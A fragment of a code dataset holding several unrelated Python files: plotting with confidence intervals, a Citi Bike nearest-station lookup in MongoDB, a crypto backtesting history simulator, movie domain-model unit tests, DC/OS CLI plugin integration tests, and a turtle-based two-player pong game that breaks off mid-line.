asympt, linestyle=':', color=asympt_color, label=asympt_label)\n\n    ax.legend()\n    plt.title(f\"Wall time vs number of threads on CPU for {n_iter} iterations\")\n    plt.xlabel(\"Thread number\")\n    plt.ylabel(\"Wall time (s)\")\n\n    sns.despine()\n\n    if logx:\n        plt.xscale('log')\n    if logy:\n        plt.yscale('log')\n\n    return fig, ax\n\n\ndef get_mean_ci(data, confidence=0.95):\n    \"\"\"\n    Get mean and confidence interval of the provided data.\n\n    Parameters\n    ----------\n    data: np.ndarray of shape (n,)\n        the data\n    \n    confidence: float in range[0.0, 1.0]\n        the confidence level of the test\n    \n    Returns\n    -------\n    mean, lower, upper: Tuple[float, float, float]\n        the mean of the data, the upper and lower bounds of the CI\n        mean = sum(data) / len(data)\n        \n        CI is computed assuming unknown variance, using the t-student\n        distribution with a confidence level of 95% --> 0.95\n        mean +- t((1 - 0.95) / 2, N - 1) * (std_dev / sqrt(N))\n    \"\"\"\n    N = len(data)\n    if N == 1:\n        raise ValueError(\"Data only has a single point!\")\n\n    mean = np.mean(data)\n    stderr = np.std(data)\n    dof = N - 1\n\n    t_low, t_up = t.interval(confidence, dof)\n    lower, upper = mean + t_low * (stderr / math.sqrt(N)), mean + t_up * (\n        stderr / math.sqrt(N))\n\n    return mean, lower, upper\n\n\ndef compute_results(filename):\n    \"\"\"\n    Main function.\n    \"\"\"\n    data = pd.read_csv(filename, sep=',')\n    data = data[data['niter'] == 1000]\n\n    # 1. create threads - vs - times data to plot\n    unique_body_num = np.unique(data['nbodies'].values)\n\n    results = {\n        'bodies': unique_body_num,\n        'mean': [],\n        'lower': [],\n        'upper': [],\n        'mean_over': [],\n        'lower_over': [],\n        'upper_over': [],\n    }\n\n    for n_bodies in results['bodies']:\n        subset = data[data['nbodies'] == n_bodies]\n    \n        m, l, u = get_mean_ci(subset['elapsed_time_s'].values)\n        mo, lo, uo = get_mean_ci(subset['elapsed_time_s'].values - subset['computing_time_s'].values)\n        \n        results['mean'].append(m)\n        results['lower'].append(l)\n        results['upper'].append(u)\n\n        results['mean_over'].append(mo)\n        results['lower_over'].append(lo)\n        results['upper_over'].append(uo)\n\n    return results\n\n\n#if __name__ == '__main__':\n#    results = compute_results('./results_cuda_naive_')\n\n#    fig_colors = [\n#        ('forestgreen', 'mediumseagreen'),  # 1024\n#        ('navy', 'lightskyblue'),  # 2048\n#        ('gold', 'blanchedalmond'),  # 4096\n#        ('firebrick', 'lightcoral'),  # 8192\n#    ]\n\n#    assert len(fig_colors) == len(results['bodies'])\n\n#    fig, ax = plot_complete(results, n_iter=1000, colors=fig_colors)\n","sub_path":"data/postprocessing.py","file_name":"postprocessing.py","file_ext":"py","file_size_in_byte":4820,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"302864761","text":"import json\nimport requests\nimport urllib\nimport pymongo\nfrom bson.son import SON\n\nmongoClient = pymongo.MongoClient()\ndb = mongoClient.test\n\ndef get_coordinates(query, from_sensor=False):\n    googleGeocodeUrl = 'http://maps.googleapis.com/maps/api/geocode/json?'\n    query = query.encode('utf-8')\n    params = {\n        'address': query,\n        'sensor': \"true\" if from_sensor else \"false\"\n    }\n    url = googleGeocodeUrl + urllib.parse.urlencode(params)\n    response = requests.get(url)\n    #print(response)\n    response = json.loads(response.text)\n\n    if response['results']:\n        location = response['results'][0]['geometry']['location']\n        latitude, longitude = location['lat'], location['lng']\n        #print (query, latitude, longitude)\n    else:\n        latitude, longitude = None, None\n        #print (query, \"<no results>\")\n    return latitude, longitude\n\ndef getData():\n    url = 'http://www.citibikenyc.com/stations/json/'\n    response = requests.get(url)\n    json_data = json.loads(response.text)\n\n    #print (type(json_data))\n    #print (list(json_data.keys()))\n    data = json_data['stationBeanList']\n\n    #print (type(data))\n    db.citibike.remove({})\n    for record in data:\n        #print(\"-------------------\\n\")\n        record['loc'] = {\"type\": \"Point\", \"coordinates\": [ record[\"latitude\"], record[\"longitude\"] ] }\n        #print(record)\n        record_id = db.citibike.insert_one(record).inserted_id\n\n'''\n    req = urllib.request.Request(url)\n    with urllib.request.urlopen(req) as response:\n        page = response.read()\n        pprint.pprint(\"-------------------\\n\")\n        pprint.pprint(page)\n\n#    fh = urllib.request.urlopen (url)\n#    pprint.pprint(fh)\n    #for line in fh:\n     #   print line\n        #record = json.loads(line)\n        #record_id = db.citibike.insert_one(record).inserted_id\n'''\n\ndef getNearBike(address):\n    latitude, longitude = get_coordinates(address)\n    #command = {\"$geoNear\": {\"type\": \"Point\", \"coordinates\": [loc[\"latitude\"], loc[\"longitude\"]]}, \"spherical\": \"true\", \"limit\": 1, \"query\": {\"availableBikes\" : { \"$gt\": 0 }}}\n\n    # python dict does not preserve order, must use bson\n    command = SON([(\"geoNear\", \"citibike\"), (\"near\", {\"type\": \"Point\", \"coordinates\": [latitude, longitude]}), (\"spherical\", \"true\"), (\"limit\", 3), (\"query\", {\"availableBikes\" : { \"$gt\": 0 }, \"statusValue\" : \"In Service\"})])\n    #print(command)\n    record = db.command(command)\n    #print(record)\n    return record['results']\n\n#db.runCommand({geoNear: \"citibike\", near: {type: \"Point\", coordinates: [40.7096829, -74.0084065]}, spherical: true, limit: 1, query: {availableBikes : { $gt: 0 }}})\n\ndef getNearDock(address):\n    latitude, longitude = get_coordinates(address)\n    command = SON([(\"geoNear\", \"citibike\"), (\"near\", {\"type\": \"Point\", \"coordinates\": [latitude, longitude]}), (\"spherical\", \"true\"), (\"limit\", 3), (\"query\", {\"availableDocks\" : { \"$gt\": 0 }, \"statusValue\" : \"In Service\"})])\n    #print(command)\n    record = db.command(command)\n    #print(record)\n    return record['results']\n\ndef showStationName(results):\n    for station in results:\n        print(station['obj']['stationName'])\n\n\n#db.runCommand({geoNear: \"citibike\", near: {type: \"Point\", coordinates: [40.7096829, -74.0084065]}, spherical: true, limit: 1, query: {availableBikes : { $gt: 0 }}})\n\ngetData()\n\nfor address in [\"71 nassau st 10038\", \"67 bayard st 10013\"]:\n    print(\"\\navailable bike near \" + address)\n    showStationName(getNearBike(address))\n    print(\"\\navailable dock near \" + address)\n    showStationName(getNearDock(address))\n","sub_path":"citibike/data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":3568,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"645940173","text":"import logging\n\nfrom apps.backtesting.data_sources import DB_INTERFACE\nfrom apps.backtesting.utils import datetime_from_timestamp, parallel_run, time_performance\nfrom apps.doge.doge_train_test import DogeTrainer, DogeCommittee, DogeSubscriber\nfrom settings.doge import DOGE_RETRAINING_PERIOD_SECONDS, DOGE_TRAINING_PERIOD_DURATION_SECONDS\nfrom functools import partial\nfrom apps.genetic_algorithms.leaf_functions import TAProvider\n\nclass DummyDogeSubscriber(DogeSubscriber):\n\n    def __init__(self, committees):\n        self.committees = committees\n        self._rewrite_history = False\n        # no super constructor calls, bypass the Redis and pubsub stuff\n\n    def _check_committee_expired(self, ticker):\n        return False\n\n    def _should_process_event(self, channel, data, *args, **kwargs):\n        return True\n\n\nclass DogeHistorySimulator:\n\n    def __init__(self, start_time, end_time, ticker, exchange, horizon,\n                 training_period_length=DOGE_TRAINING_PERIOD_DURATION_SECONDS,\n                 time_to_retrain_seconds=DOGE_RETRAINING_PERIOD_SECONDS,\n                 parallel=True):\n        self._start_time = DB_INTERFACE.get_nearest_db_timestamp(start_time, ticker, exchange)\n        self._end_time = DB_INTERFACE.get_nearest_db_timestamp(end_time, ticker, exchange)\n        self._training_period_length = training_period_length\n        self._time_to_retrain_seconds = int(time_to_retrain_seconds)\n        self._ticker = ticker\n        self._exchange = exchange\n        self._ticker = ticker\n        self._horizon = horizon\n        self._parallel = parallel\n\n    @time_performance\n    def fill_history(self, rewrite_history=False):\n\n        training_intervals = []\n\n        for training_end_time in range(self._end_time,\n                                      self._start_time + self._training_period_length,\n                                       -self._time_to_retrain_seconds):\n            # training_end_time = 1547132400  # debug stuff\n            training_start_time = training_end_time - self._training_period_length\n            training_intervals.append((training_start_time, training_end_time))\n\n        partial_func = partial(DogeHistorySimulator._single_period_run,\n                               time_to_retrain_seconds=self._time_to_retrain_seconds,\n                               ticker=self._ticker,\n                               horizon=self._horizon,\n                               exchange=self._exchange,\n                               rewrite_history=rewrite_history)\n\n        logging.info(f'Preparing to run history filling for {len(training_intervals)} periods...')\n\n        if self._parallel:\n            parallel_run(partial_func, param_list=training_intervals)\n        else:\n            for time_interval in training_intervals:\n                partial_func(time_interval)\n\n        logging.info('Filling historical data completed successfully.')\n\n\n    @staticmethod\n    @time_performance\n    def _single_period_run(time_interval, time_to_retrain_seconds, ticker, horizon, exchange, rewrite_history=False):\n\n        training_start_time, training_end_time = time_interval\n        logging.info(f'Processing data for committee trained on data '\n                     f'from {datetime_from_timestamp(training_start_time)} '\n                     f'to {datetime_from_timestamp(training_end_time)}')\n\n        # first check if all the votes are already there (performance optimization)\n        from apps.tests.manual_scripts import RedisTests\n        if not rewrite_history and \\\n                not any(RedisTests.find_gaps(\n                    '{ticker}*{exchange}*CommitteeVoteStorage',\n                    training_end_time,\n                    training_end_time + time_to_retrain_seconds)\n                                .values()):   # we have all the votes already\n            logging.info(' ---> all the votes already exist, skipping...')\n            return\n\n        transaction_currency, counter_currency = ticker.split('_')\n        ta_provider = TAProvider(db_interface=DB_INTERFACE)\n        DB_INTERFACE.build_data_object(start_time=training_start_time,\n                                       end_time=training_end_time,\n                                       ticker=f'{transaction_currency}_{counter_currency}',\n                                       horizon=horizon,\n                                       exchange=exchange)\n        committee = None\n\n        if not rewrite_history:\n            # check if a committee record already exists\n            try:\n                committee = DogeCommittee(committee_timestamp=training_end_time, db_interface=DB_INTERFACE,\n                                          function_provider=ta_provider)\n                logging.info(f'Committee successfully loaded at {training_end_time}')\n            except:\n                committee = None\n\n        if committee is None:\n            # no committee, we need to rerun training\n            logging.info(f'No committee found, running training for timestamp {training_end_time}...')\n            karen = DogeTrainer(database=DB_INTERFACE)  # see Karen Pryor; TODO: ensure cached TA values are used\n\n            karen.retrain_doges(start_timestamp=training_start_time, end_timestamp=training_end_time,\n                                training_ticker=ticker, parallelize=False)\n\n            # now that Karen did her job we should totally have a working committee\n            committee = DogeCommittee(committee_timestamp=training_end_time, db_interface=DB_INTERFACE,\n                                      function_provider=ta_provider)\n        # we need to simulate incoming price data\n        DogeHistorySimulator.feed_price_to_doge(committee=committee,\n                                                committee_valid_from=training_end_time,\n                                                committee_valid_to=training_end_time + time_to_retrain_seconds,\n                                                ticker=ticker,\n                                                horizon=horizon,\n                                                exchange=exchange)\n\n\n    @staticmethod\n    @time_performance\n    def feed_price_to_doge(committee, committee_valid_from, committee_valid_to, ticker, horizon, exchange):\n        logging.info('Feeding prices to doge...')\n        transaction_currency, counter_currency = ticker.split('_')\n        prices_df = DB_INTERFACE.get_resampled_prices_in_range(\n            start_time=committee_valid_from,\n            end_time=committee_valid_to,\n            transaction_currency=transaction_currency,\n            counter_currency=counter_currency,\n            horizon=horizon\n        )\n\n        committees = {ticker: committee}\n\n        # rudely hijack the DogeSubscriber class\n        subscriber = DummyDogeSubscriber(committees)\n\n        for i, row in enumerate(prices_df.itertuples()):\n            if i % 100 == 0:\n                logging.debug(f'Feeding {str(row)} ({i+1}/{len(prices_df)}) to doge (using committee '\n                             f'valid from {datetime_from_timestamp(committee_valid_from)} '\n                             f'to {datetime_from_timestamp(committee_valid_to)}...')\n\n\n            if row.close_price is None:\n                continue\n            data_event = {\n                'type': 'message',\n                'pattern': None,\n                'channel': b'PriceStorage',\n                'data': f'''{{\n                                \"key\": \"{ticker}:{exchange}:PriceStorage:1\",\n                                \"name\": \"{row.close_price}:{row.score}\",\n                                \"score\": \"{row.score}\"\n                            }}'''.encode(encoding='UTF8')\n            }\n            # call the doge with this event\n            try:\n                subscriber(data_event=data_event)\n            except Exception as e:\n                logging.error(str(e))\n        logging.info('Doges ingested all prices.')\n","sub_path":"apps/doge/doge_historical_runs.py","file_name":"doge_historical_runs.py","file_ext":"py","file_size_in_byte":7900,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"38806528","text":"from datetime import datetime\n\nfrom cs235flix.domain.model import Movie, User, make_review\n\nimport pytest\n\n\n@pytest.fixture()\ndef movie():\n    return Movie(\n        \"Moana\",\n        2016,\n        \"14\",\n        \"In Ancient Polynesia, when a terrible curse incurred by the Demigod Maui reaches an impetuous Chieftain's daughter's island, she answers the Ocean's call to seek out the Demigod to set things right.\",\n        \"Ron Clements\",\n        \"Auli'i Cravalho, Dwayne Johnson, Rachel House, Temuera Morrison\",\n        \"Animation,Adventure,Comedy\"\n    )\n\n\n@pytest.fixture()\ndef user():\n    user = User('Ella', '1234567890')\n    return User('Ella', '1234567890')\n\n\ndef test_user_construction(user):\n    assert user.username == 'Ella'\n    assert user.password == '1234567890'\n    assert repr(user) == '<User Ella 1234567890>'\n\n    for review in user.reviews:\n        # User should have an empty list of Reviews after construction.\n        assert False\n\n\ndef test_movie_construction(movie):\n    assert movie.title == \"Moana\"\n    assert movie.rank == 14\n    assert movie.release_date == \"2016\"\n    assert movie.description == \"In Ancient Polynesia, when a terrible curse incurred by the Demigod Maui reaches an impetuous Chieftain's daughter's island, she answers the Ocean's call to seek out the Demigod to set things right.\"\n    assert movie.actors == \"Auli'i Cravalho, Dwayne Johnson, Rachel House, Temuera Morrison\"\n    assert str(movie.director) == \"<Director Ron Clements>\"\n    assert movie.genres == \"Animation,Adventure,Comedy\"\n\n\ndef test_movie_less_than_operator(movie):\n    movie_1 = movie\n    movie_2 = Movie(\n        \"Inglourious Basterds\",\n        2009,\n        \"78\",\n        \"Quentin Tarantino\",\n        \"In Nazi-occupied France during World War II, a plan to assassinate Nazi leaders by a group of Jewish U.S. soldiers coincides with a theatre owner's vengeful plans for the same.\",\n        \"Brad Pitt, Diane Kruger, Eli Roth,Mélanie Laurent\",\n        \"Adventure,Drama,War\"\n    )\n\n    assert movie_2 < movie_1\n\n\ndef test_make_review_establishes_relationships(movie, user):\n    review_text = \"Great movie!\"\n    rating = 9\n    review = make_review(review_text, user, movie, rating, datetime.today())\n\n    # Check that the User object knows about the Review.\n    assert review in user.reviews\n\n    # Check that the Review knows about the User.\n    assert review.user is user\n\n    # Check that Article knows about the Comment.\n    assert review in movie.reviews\n\n    # Check that the Comment knows about the Article.\n    assert review.movie is movie\n","sub_path":"cs235flix/tests/unit/test_domain_model.py","file_name":"test_domain_model.py","file_ext":"py","file_size_in_byte":2558,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"66750022","text":"import json\nimport os\nimport shutil\nimport sys\n\nfrom .common import setup_cluster, exec_cmd, default_cluster  # noqa: F401\n\n\ndef test_plugin_list(default_cluster):\n    code, out, err = exec_cmd(['dcos', 'plugin', 'list'])\n    assert code == 0\n    assert err == ''\n\n    lines = out.splitlines()\n    assert len(lines) == 3\n\n    # heading\n    assert lines[0].split() == ['NAME', 'COMMANDS']\n\n    dcos_core_cli = lines[1].split()\n    assert dcos_core_cli[0] == 'dcos-core-cli'\n    assert dcos_core_cli[1:] == ['job', 'marathon', 'node', 'package', 'service', 'task']\n\n    dcos_enterprise_cli = lines[2].split()\n    assert dcos_enterprise_cli[0] == 'dcos-enterprise-cli'\n    assert 'backup' in dcos_enterprise_cli[1:]\n    assert 'license' in dcos_enterprise_cli[1:]\n    assert 'security' in dcos_enterprise_cli[1:]\n    assert len(dcos_enterprise_cli[1:]) == 3\n\n\ndef test_plugin_invocation(default_cluster):\n    _install_test_plugin()\n\n    args = ['dcos', 'test', 'arg1', 'arg2']\n    code, out, err = exec_cmd(args)\n    assert code == 0\n    out = json.loads(out)\n\n    assert out['args'][1:] == args[1:]\n\n    executable_path = out['env'].get('DCOS_CLI_EXECUTABLE_PATH')\n    if sys.platform == 'win32':\n        # On Windows, \"shutil.which\" normalizes the path so the drive letter is not present.\n        # This removes it from the value returned by the test plugin too.\n        (_, executable_path) = os.path.splitdrive(executable_path)\n        expected_executable_path = shutil.which(\"dcos.exe\")\n    else:\n        expected_executable_path = shutil.which(\"dcos\")\n    assert executable_path == expected_executable_path\n\n    assert out['env'].get('DCOS_URL') == default_cluster['dcos_url']\n    assert out['env'].get('DCOS_ACS_TOKEN') == default_cluster['acs_token']\n\n\ndef test_plugin_invocation_tls():\n    with setup_cluster(scheme='https'):\n        _install_test_plugin()\n\n        code, out, _ = exec_cmd(['dcos', 'config', 'show', 'core.ssl_verify'])\n        assert code == 0\n        ca_path = out.rstrip()\n\n        code, out, err = exec_cmd(['dcos', 'test'])\n        assert code == 0\n        out = json.loads(out)\n\n        assert out['env'].get('DCOS_TLS_INSECURE') is None\n        assert out['env'].get('DCOS_TLS_CA_PATH') == ca_path\n\n        code, _, _ = exec_cmd(['dcos', 'config', 'set', 'core.ssl_verify', 'False'])\n        assert code == 0\n\n        code, out, err = exec_cmd(['dcos', 'test'])\n        assert code == 0\n        out = json.loads(out)\n\n        assert out['env'].get('DCOS_TLS_INSECURE') == '1'\n        assert out['env'].get('DCOS_TLS_CA_PATH') is None\n\n    with setup_cluster(scheme='http'):\n        _install_test_plugin()\n\n        code, out, err = exec_cmd(['dcos', 'test'])\n        assert code == 0\n        out = json.loads(out)\n\n        assert out['env'].get('DCOS_TLS_INSECURE') == '1'\n        assert out['env'].get('DCOS_TLS_CA_PATH') is None\n\n\ndef test_plugin_verbosity(default_cluster):\n    _install_test_plugin()\n\n    fixtures = [\n        {\n            'cmd': ['dcos', 'test'],\n            'DCOS_VERBOSITY': None,\n            'DCOS_LOG_LEVEL': None,\n        },\n        {\n            'cmd': ['dcos', '-v', 'test'],\n            'DCOS_VERBOSITY': '1',\n            'DCOS_LOG_LEVEL': 'info',\n        },\n        {\n            'cmd': ['dcos', '-vv', 'test'],\n            'DCOS_VERBOSITY': '2',\n            'DCOS_LOG_LEVEL': 'debug',\n        },\n        {\n            'cmd': ['dcos', '--log-level=debug', 'test'],\n            'DCOS_VERBOSITY': '2',\n            'DCOS_LOG_LEVEL': 'debug',\n        },\n        {\n            'cmd': ['dcos', '--debug', 'test'],\n            'DCOS_VERBOSITY': '2',\n            'DCOS_LOG_LEVEL': 'debug',\n        },\n    ]\n\n    for fixture in fixtures:\n        code, out, _ = exec_cmd(fixture['cmd'])\n        assert code == 0\n        assert code == 0\n        out = json.loads(out)\n\n        assert out['args'][1:] == ['test']\n        assert out['env'].get('DCOS_VERBOSITY') == fixture['DCOS_VERBOSITY']\n        assert out['env'].get('DCOS_LOG_LEVEL') == fixture['DCOS_LOG_LEVEL']\n\n\ndef test_plugin_exit_code(default_cluster):\n    _install_test_plugin()\n\n    code, _, _ = exec_cmd(['dcos', 'test', 'exit', '43'])\n    assert code == 43\n\n\ndef test_plugin_remove(default_cluster):\n    _install_test_plugin()\n\n    code, out, err = exec_cmd(['dcos', 'plugin', 'remove', 'dcos-test'])\n    assert code == 0\n    assert out == ''\n    assert err == ''\n\n\ndef test_plugin_help(default_cluster):\n    _install_test_plugin()\n\n    code, out, err = exec_cmd(['dcos', 'help', 'test'])\n    assert code == 0\n    assert err == ''\n    assert out == 'Help usage for dcos-test\\n'\n\n\ndef _install_test_plugin():\n    code, out, err = exec_cmd(['dcos', 'plugin', 'add', _test_plugin_path()])\n    assert code == 0\n    assert err == ''\n    assert out == ''\n\n\ndef _test_plugin_path():\n    file = 'dcos-test.exe' if sys.platform == 'win32' else 'dcos-test'\n    return os.path.join(_plugin_dir('dcos-test'), sys.platform, file)\n\n\ndef _plugin_dir(name):\n    return os.path.join(os.path.dirname(__file__), 'fixtures', 'plugins', name)\n","sub_path":"tests/integration/test_plugin.py","file_name":"test_plugin.py","file_ext":"py","file_size_in_byte":5034,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"530158139","text":"from tkinter import *\r\nfrom turtle import *\r\nimport winsound\r\n\r\n#Game over sound play function\r\ndef game_over():\r\n    winsound.PlaySound(\"F:\\hassan\\gameover.wav\", winsound.SND_ASYNC)\r\n\r\n#Halt screen after every point\r\ndef halt():\r\n    pass\r\n\r\n#closes game\r\ndef Close():\r\n    winsound.PlaySound(\"F:\\hassan\\selection.wav\", winsound.SND_ASYNC)\r\n    win.destroy()\r\n\r\n# Instructions\r\ndef instructions():\r\n    winsound.PlaySound(\"F:\\hassan\\selection.wav\", winsound.SND_ASYNC)\r\n    ins = Toplevel(win)\r\n    ins.geometry(\"800x400\")\r\n    ins.configure(background=\"black\")\r\n    heading = Label(ins, text=\"INSTRUCTIONS\", fg=\"red\", bg=\"black\", font=(\"calibri\", 30, \"bold\"), justify=CENTER).pack(side=TOP)\r\n    data = Label(ins, text=\"For Player 1:\\n Use 'w' and 's' keys to move the paddle up and down respectively.\\n\\nFor Player 2:\\n Use the 'Up' and 'Down' arrow keys to move the paddle up and down.\\n\\nDONOT press the keys when the ball is going to the other player!!\",\r\n                 fg=\"white\", bg=\"black\", font=(\"calibri\", 20), justify=LEFT).pack()\r\n\r\n# About\r\ndef About():\r\n    winsound.PlaySound(\"F:\\hassan\\selection.wav\", winsound.SND_ASYNC)\r\n    abt = Toplevel(win)\r\n    abt.geometry(\"1200x400\")\r\n    abt.configure(background=\"black\")\r\n    Data1 = Label(abt, text=\"ABOUT\\n\", fg=\"turquoise\", bg=\"black\", font=(\"calibri\", 40, \"bold\"), justify=CENTER).pack(side=TOP)\r\n    Data2 = Label(abt, text=\"Techlord was co-founded by Muhammad Hassan and Moiz Tariq in January 2020.\\n\\nInitially this gaming company has only two assistants, Syed Maaz and Muhammad Hassan Ahmed.\\n\\nTechlord has released its first ever product 'BOUNCE' on January 21, 2020.\\n\\nTechlord hopes to give its users the best gaming material in the near future.\",\r\n                  fg=\"white\", bg=\"black\", font=(\"calibri\", 20), justify=LEFT).pack()\r\n\r\n\r\n#Double Player\r\ndef double():\r\n    winsound.PlaySound(\"F:\\hassan\\selection.wav\", winsound.SND_ASYNC)\r\n    global windows\r\n    name_1 = inputname1.get().strip()            # Gets name of players entered in tkinter window\r\n    name_2 = inputname2.get().strip()            # Gets name of players entered in tkinter window\r\n    pl.withdraw()\r\n    windows = Screen()                            # turtle screen\r\n    windows.title(\"Bounce Game by TechLord\")\r\n    windows.bgcolor(\"white\")\r\n    windows.setup(width=1200, height=760)\r\n    windows.tracer(0)\r\n\r\n    # Score\r\n    score_1 = 0\r\n    score_2 = 0\r\n\r\n    # paddle a\r\n    pad_a = Turtle()\r\n    pad_a.speed(0)\r\n    pad_a.shape(\"square\")\r\n    pad_a.color(\"blue\")\r\n    pad_a.shapesize(stretch_wid=5, stretch_len=1)\r\n    pad_a.penup()\r\n    pad_a.goto(-550, 0)\r\n\r\n    # paddle b\r\n    pad_b = Turtle()\r\n    pad_b.speed(0)\r\n    pad_b.shape(\"square\")\r\n    pad_b.color(\"blue\")\r\n    pad_b.shapesize(stretch_wid=5, stretch_len=1)\r\n    pad_b.penup()\r\n    pad_b.goto(550, 0)\r\n\r\n    # ball\r\n    ball = Turtle()\r\n    ball.speed(0)\r\n    ball.shape(\"circle\")\r\n    ball.color(\"red\")\r\n    ball.shapesize(stretch_wid=1.2, stretch_len=1.2)\r\n    ball.penup()\r\n    ball.goto(0, 0)\r\n    ball.dx = 1\r\n    ball.dy = -1\r\n\r\n    # Pen for Score\r\n    pen = Turtle()\r\n    pen.speed(0)\r\n    pen.color(\"black\")\r\n    pen.penup()\r\n    pen.hideturtle()\r\n    pen.goto(0, 330)\r\n    pen.write(\"{}: 0  {}: 0\".format(name_1, name_2), align=\"center\", font=(\"Bebas Neue\", 24, \"italic\"))             # Score board with player names and score\r\n\r\n    # Function\r\n    def pad_a_up():\r\n        y = pad_a.ycor()\r\n        if y <= 300:\r\n            y += 40\r\n        else:\r\n            y = y\r\n        pad_a.sety(y)\r\n\r\n    def pad_a_down():\r\n        y = pad_a.ycor()\r\n        if y >= -300:\r\n            y -= 40\r\n        else:\r\n            y = y\r\n        pad_a.sety(y)\r\n\r\n    def pad_b_up():\r\n        y = pad_b.ycor()\r\n        if y <= 300:\r\n            y += 40\r\n        pad_b.sety(y)\r\n\r\n    def pad_b_down():\r\n        y = pad_b.ycor()\r\n        if y >= -300:\r\n            y -= 40\r\n        pad_b.sety(y)\r\n\r\n    # keyboard binding\r\n    windows.listen()\r\n    windows.onkeypress(pad_a_up, \"w\")\r\n    windows.onkeypress(pad_a_down, \"s\")\r\n    windows.onkeypress(pad_b_up, \"Up\")\r\n    windows.onkeypress(pad_b_down, \"Down\")\r\n\r\n    # Main loop\r\n    while score_1 < 5 and score_2 < 5:            # While none of the player score 10 points\r\n        windows.update()                             # Updates the position of ball and paddles\r\n        # moving ball\r\n        ball.setx(ball.xcor() + ball.dx)\r\n        ball.sety(ball.ycor() + ball.dy)\r\n\r\n        # border checking\r\n\r\n        # Top and Bottom\r\n        if ball.ycor() > 370:\r\n            ball.sety(370)\r\n            ball.dy *= -1\r\n            winsound.PlaySound(\"F:\\hassan\\wallhit.wav\", winsound.SND_ASYNC)\r\n\r\n        if ball.ycor() < -370:\r\n            ball.sety(-370)\r\n            ball.dy *= -1\r\n            winsound.PlaySound(\"F:\\hassan\\wallhit.wav\", winsound.SND_ASYNC)\r\n\r\n        if ball.xcor() > 610:        # If ball missed by player on the right(i.e player b)\r\n            windows.delay(5000)\r\n            ball.goto(0, 0)\r\n            ball.dx *= -1\r\n            score_1 += 1\r\n            pen.clear()\r\n            pen.write(\"{}: {}  {}: {}\".format(name_1, score_1, name_2, score_2), align=\"center\", font=(\"Bebas Neue\", 24, \"italic\"))\r\n            winsound.PlaySound(\"F:\\hassan\\point.wav\", winsound.SND_ASYNC)\r\n            windows.ontimer(halt(), 2000)\r\n\r\n        if ball.xcor() < -610:           # If ball missed by player on the left(i.e player a)\r\n            windows.delay(5000)\r\n            ball.goto(0, 0)\r\n            ball.dx *= -1\r\n            score_2 += 1\r\n            pen.clear()\r\n            pen.write(\"{}: {}  {}: {}\".format(name_1, score_1, name_2, score_2), align=\"center\",\r\n                      font=(\"Bebas Neue\", 24, \"italic\"))\r\n            winsound.PlaySound(\"F:\\hassan\\point.wav\", winsound.SND_ASYNC)\r\n            windows.ontimer(halt(), 2000)\r\n\r\n\r\n        # paddle and ball collisions\r\n        if 540 < ball.xcor() < 550 and (\r\n                pad_b.ycor() + 55 > ball.ycor() > pad_b.ycor() - 55):\r\n            ball.setx(540)\r\n            ball.dx *= -1\r\n            winsound.PlaySound(\"F:\\hassan\\paddle.wav\", winsound.SND_ASYNC)          # Added sound\r\n        if -540 > ball.xcor() > -550 and (\r\n                pad_a.ycor() + 55 > ball.ycor() > pad_a.ycor() - 55):\r\n            ball.setx(-540)\r\n            ball.dx *= -1\r\n            winsound.PlaySound(\"F:\\hassan\\paddle.wav\", winsound.SND_ASYNC)\r\n    if score_1 == 5:\r\n        windows.ontimer(game_over(), 2000)          # Halts the screen for 2 seconds/2000 milliseconds and runs a function\r\n        res = Toplevel(win)           # Opens a new tkinter window\r\n        res.geometry(\"622x544\")\r\n        photo = PhotoImage(file=r\"F:\\hassan\\winner1.png\")\r\n        winner = Label(res, image=photo).place(x=0,y=0)\r\n        winname = Label(res, text=name_1.upper(), fg=\"gold\", bg=\"#06021a\", font=(\"calibri\", 28, \"bold\", \"italic\")).place(x=255,y=335)\r\n        Screen().bye()\r\n        res.mainloop()\r\n    elif score_2 == 5:\r\n        windows.ontimer(game_over(), 2000)        # Halts the screen for 2 seconds/2000 milliseconds and runs a function\r\n        res = Toplevel(win)\r\n        res.geometry(\"622x544\")\r\n        photo = PhotoImage(file=r\"F:\\hassan\\winner1.png\")\r\n        winner = Label(res, image=photo).place(x=0,y=0)\r\n        winname = Label(res, text=name_2.upper(), fg=\"gold\", bg=\"#06021a\", font=(\"calibri\", 28, \"bold\", \"italic\")).place(x=255,y=335)\r\n        Screen().bye()\r\n        res.mainloop()\r\n    Screen().bye()\r\n\r\n\r\ndef twoplayer():                       # Function to ask players to enter their names\r\n    winsound.PlaySound(\"F:\\hassan\\selection.wav\", winsound.SND_ASYNC)\r\n    global inputname1\r\n    global inputname2\r\n    global pl\r\n    pl = Toplevel(win)\r\n    pl.configure(background=\"black\")\r\n    pl.title(\"Name Entry\")\r\n    inputname1 = StringVar()             # A string variable to hold string data only\r\n    inputname2 = StringVar()\r\n    pl1 = Label(pl, text=\"Player 1\", fg=\"yellow\", bg=\"black\", font=(\"arial\", 20), justify=LEFT).grid(row=0, column=0, padx=10, pady=10)\r\n    pl2 = Label(pl, text=\"Player 2\", fg=\"yellow\",bg=\"black\", font=(\"arial\", 20), justify=LEFT).grid(row=1, column=0, padx=10, pady=10)\r\n    name1 = Entry(pl, width=20, font=(\"bebas neue\", 20, \"italic\"),fg=\"white\", bg=\"black\", textvariable=inputname1, justify=LEFT)\r\n    name1.grid(row=0, column=1, padx=5, pady=10)\r\n    name2 = Entry(pl, width=20, font=(\"bebas neue\", 20, \"italic\"), fg=\"white\", bg=\"black\", textvariable=inputname2, justify=LEFT)\r\n    name2.grid(row=1, column=1, padx=5, pady=10)\r\n    start = Button(pl, text=\"start\", fg=\"black\", bg=\"yellow\", bd=3, font=(\"bebas neue\", 20), cursor=\"hand2\", width=8, height=1, command=double).grid(row=2, column=1, padx=10, pady=10)\r\n    pl.mainloop()\r\n\r\n\r\n#Defining game start menu\r\nwin = Tk()\r\nwin.title(\"Start Menu\")\r\nwin.geometry(\"570x538\")\r\nwin.configure(background=\"black\")           # Sets the background colour as you wish\r\nimg = PhotoImage(file=r\"F:\\hassan\\pong.png\")       # Displaying image\r\nimg1 = img.zoom(2,3)\r\nimage = Label(win, image=img1).place(x=0, y=0)\r\nname = 